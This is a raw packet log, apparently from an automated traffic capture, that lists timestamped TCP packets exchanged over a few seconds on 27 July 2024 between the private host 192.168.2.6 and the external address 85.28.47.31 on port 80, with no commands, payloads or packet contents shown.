Jul 27, 2024 03:19:10.282306910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282320976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282335043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282347918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282356024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282422066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282437086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282440901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282452106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282480955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282496929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282586098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282599926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282614946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282624960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282636881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282645941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282653093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282658100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282676935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282689095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288546085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288585901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288594007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288609028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288631916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288645983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288646936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288661957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288669109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288670063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288701057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288712978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288719893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288736105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288749933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288759947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288768053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.288773060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288790941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288810968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.288995981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289011002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289026022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289041042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289052010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289064884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289067984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289083958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289096117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289098978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289114952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.289117098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289127111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289145947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.289158106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300355911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300385952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300400019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300407887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300437927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300443888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300448895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300462961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300487995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300498009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300509930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300518036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300532103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300568104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300575972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300575972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300582886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300600052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300602913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300623894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300627947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300641060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300641060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300658941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.300662041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300676107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.300692081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313738108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313752890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313769102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313790083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313803911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313810110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313821077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313842058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313858986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313869953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313903093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313904047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313920975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.313941956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.313966990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315076113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315103054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315115929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315120935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315135002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315157890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315162897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315176010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315201998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315211058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315217972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315233946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315248013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315258026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315268993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315285921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315890074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315943956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.315982103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.315994978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316021919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316040039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316057920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316072941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316087961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316098928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316107035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316114902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316131115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316143990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.316241980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.316283941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.333070040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.333086967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.333102942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.333117962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.333133936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.333143950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.333178997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.822603941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.827611923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:11.487709999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:11.488132000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:11.578577042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:11.583559036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:12.140969038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:12.141053915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:12.816976070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:12.821850061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.367207050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.367317915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.764900923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.769804955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941576958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941700935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941735983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941736937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.941770077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941775084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.941775084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.941807032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.941855907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.941855907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.951258898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.951293945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.951323986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.951328039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.951363087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.951376915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.951376915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.951399088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.951453924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.951453924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.953080893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.953109980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.953130960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.953156948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.953581095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.953905106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:13.953984976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:13.954035044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025540113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025595903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025612116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025645971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025657892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025702000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025737047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025751114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025751114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025788069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025821924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025835991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025835991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025856972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025890112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025913000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025913000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025926113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.025970936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.025970936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037481070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037538052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037573099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037581921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037581921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037606001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037650108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037650108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037657976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037692070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037727118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037734985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037734985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037760019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037794113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037801981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037801981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037828922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037862062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037873030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037873030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037897110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037929058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037939072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037939072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.037962914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.037997961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.038007975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.038007975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.038199902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.106719017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106755018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106787920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106856108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.106856108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.106913090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106945992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106978893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.106992006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.106992006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107048035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107099056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107099056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107115030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107147932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107196093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107196093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107836008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107870102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107887030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107903004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107907057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107938051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.107985973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.107985973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108025074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108057976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108091116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108103037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108103037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108141899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108175039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108191013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108191013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108211040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108246088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108258963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108258963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108387947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108782053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108845949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.108901024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.108901024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117113113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117136955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117151022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117166042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117181063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117181063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117191076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117207050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117209911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117223978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117238998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117240906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117240906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117254972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117255926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117268085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117275000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117292881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117302895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117302895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117309093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117336035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117336035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117357016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117362976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117378950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117414951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117414951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117763042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117857933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117871046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117894888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117901087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117901087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117912054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117918015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117928982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117929935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117949009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.117974997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117974997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.117999077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.118927956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.118952990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.118978024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.118985891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.118985891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.118995905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119013071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119039059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119039059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119064093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119110107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119126081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119154930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119169950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119187117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.119216919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119216919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119231939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.119231939 CEST	49710	80	192.168.2.6	85.28.47.31
